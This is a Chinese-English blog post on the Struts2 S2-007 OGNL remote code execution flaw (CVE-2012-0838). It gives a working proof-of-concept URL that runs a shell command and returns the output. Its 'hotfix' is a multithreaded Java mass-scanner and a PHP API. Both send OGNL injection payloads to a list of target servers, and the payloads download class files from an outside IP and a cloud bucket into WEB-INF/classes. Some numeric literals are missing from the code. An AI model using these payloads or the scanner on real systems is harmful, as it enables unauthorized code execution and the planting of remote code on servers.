struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix

catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

S2-007和S2-003、S2-005的漏洞源头都是一样的,都是struts2对OGNL的解析过程中存在漏洞,导致黑客可以通过OGNL表达式实现代码注入和执行,所不同的是

. S2-、S2-: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行
. S2-: 通过OGNL中String向long转换过程实现代码执行
//即它们的攻击向量是不同的

User input is evaluated as an OGNL expression when there's a conversion error. This allows a malicious user to execute arbitrary code.
关于struts2 OGNL的相关知识,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/4614488.html
//搜索:5. struts2 OGNL表达式

Relevant Link:

http://struts.apache.org/docs/s2-007.html
http://cve.scap.org.cn/CVE-2012-0838.html

2. Effected Scope

Struts 2.0. - Struts 2.2.

3. Exploit Analysis

0x1: POC

http://localhost:8080/S2-XX/Login.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'

4. Principle Of Vulnerability

Apache Struts 2.2.3.1之前的2版本中存在漏洞,该漏洞源于在处理转换错误时评估字符串为OGNL表达式。远程攻击者可利用此漏洞借助无效的输入,修改run-time数据值,进而执行任意代码

5. Patch Fix

0x1: upgrade struts2

It is strongly recommended to upgrade to Struts 2.3.1.1, which contains the corrected classes.

0x2: Hotfix

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader; public class StrutsFix { private static final String pay1="redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/util/\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie$Node.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie$Node\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}";
private static final String pay2="redirect:${%23ioc%3d%23context.get('com.opensymphony.xwork2.ActionContext.container'),%23dam%3dnew%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],%23dam%3d%23ioc.getInstance(%23dam),%23field%3d(%23dam.getClass().toString().equals(\"class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper\")?%23dam.getClass().getDeclaredField(\"prefixTrie\"):%23dam.getClass().getSuperclass().getDeclaredField(\"prefixTrie\")),%23field.setAccessible(true),%23ptree%3d%23field.get(%23dam),%23ptree.put(\"redirect:\",null),%23ptree.put(\"redirectAction:\",null),'ITSOK'}";
private static final String pay3="debug=command&expression=%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/interceptor/debugging\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/DebuggingInterceptor.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/DebuggingInterceptor\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),'ITSOK'";
private static final String pay4="debug=command&expression=%23dai%3d%23context.get('com.opensymphony.xwork2.ActionContext.actionInvocation'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode(\"false\")}"; public static void main(String[] args) throws Exception{ if (args==null || args.length==){
args = new String[]{"/Users/arno/ip2.txt"};
} File f = new File(args[]);
BufferedReader bf =new BufferedReader(new FileReader(f)); String line = bf.readLine();
int urlCont=; while ( line !=null) { urlCont++; if (urlCont % == ){
Thread.currentThread().sleep();
} if (urlCont % == ){
Thread.currentThread().sleep();
} new Thread(new Runnable() { @Override
public void run() { String url = Thread.currentThread().getName();
System.out.println("");
System.out.print(url); if (url!=null){
url=url.trim();
}
if ( ! url.toLowerCase().startsWith("http://")){
url ="http://"+url;
} if ( url.indexOf("?")<){
url =url+"?";
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay1);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay2);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay3);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay4);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} }
}, line).start(); line = bf.readLine();
} } }

0x3: PHP API

else if ($vultype == "")
{
$pay1 = 'redirect:${%23req%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/util/"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie$Node.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}'; $pay2 = 'redirect:${#ioc%3d#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),#dam%3dnew org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],#dam%3d#ioc.getInstance(#dam),#field%3d(#dam.getClass().toString().equals("class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),#field.setAccessible(true),#ptree%3d#field.get(#dam),#ptree.put("redirect:",null),#ptree.put("redirectAction:",null),#dai%3d#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),#field%3d#dai.getClass().getDeclaredField(\'interceptors\'),#field.setAccessible(true),#interceptors%3d#field.get(#dai),#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},\'ITSOK\'}'; $pay3 = 'debug=command&expression=%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/DebuggingInterceptor.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),\'ITSOK\''; $pay4 = 'debug=command&expression=%23dai%3d%23context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode("false")},#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}'; //存在struts2漏洞的url: http://target:8080/struts2-blank/example/HelloWorld.action
$url = $_GET['url'];
if (empty($url))
{
die('{"return_code":0,"return_str":"struts2 url missing"}');
}
$url = urldecode($url);
if ( strpos($url, "http://") !== )
{
$url = "http://" . $url;
}
if ( strpos($url, "?") === false )
{
$url = $url . "?";
}
$url = substr($url, , strpos($url, "?") + ); $md5 = $url . $pay1;
$res = file_get_contents( $url . $pay1 );
sleep();
$md5 .= " " . $url . $pay2;
$res = file_get_contents( $url . $pay2 );
sleep();
$md5 .= " " . $url . $pay3;
$res = file_get_contents( $url . $pay3 );
sleep();
$md5 .= " " . $url . $pay4;
$res = file_get_contents( $url . $pay4 ); saveToScanDB($client_ip, $url, $md5, $t, $vultype, $platform); die('{"return_code":0,"return_str":"push success"}');
}

0x4: POC原理

. $pay1
redirect:${
#req=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/util/"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie$Node.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect()
}
//下载用于修复跳转OGNL指令的前置过滤器类 . $pay2
redirect:${
#ioc=#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),
#dam=new org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[],
#dam=#ioc.getInstance(#dam),
#field=(#dam.getClass().toString().equals("class org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),
#field.setAccessible(true),
#ptree=#field.get(#dam),
#ptree.put("redirect:",null),
#ptree.put("redirectAction:",null),
#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#field=#dai.getClass().getDeclaredField(\'interceptors\'),
#field.setAccessible(true),
#interceptors=#field.get(#dai),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},
\'ITSOK\'
}
//加载前置过滤器类,动态关闭redirect、redirectAction开关,并设置URL禁用模式,阻断攻击数据包 . $pay3
debug=command&
expression=#req=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/DebuggingInterceptor.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),\'ITSOK\'
//下载用于修复DEBUG命令执行漏洞的过滤器类 . $pay4
debug=command&
expression=#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#interceptors=#dai.getProxy().getConfig().getInterceptors(),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof org.apache.struts2.interceptor.debugging.DebuggingInterceptor},
#interceptor.{? #this.getInterceptor().setDevMode("false")},
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}
//利用DEBUG命令执行漏洞,动态关闭DEBUG指令执行开关,并设置URL禁用模式,阻断攻击数据包

Relevant Link:

Copyright (c) 2015 Little5ann All rights reserved

上一篇:Android热修复框架汇总整理(Hotfix)


下一篇:springMVC 返回json 忽略类中属性的注解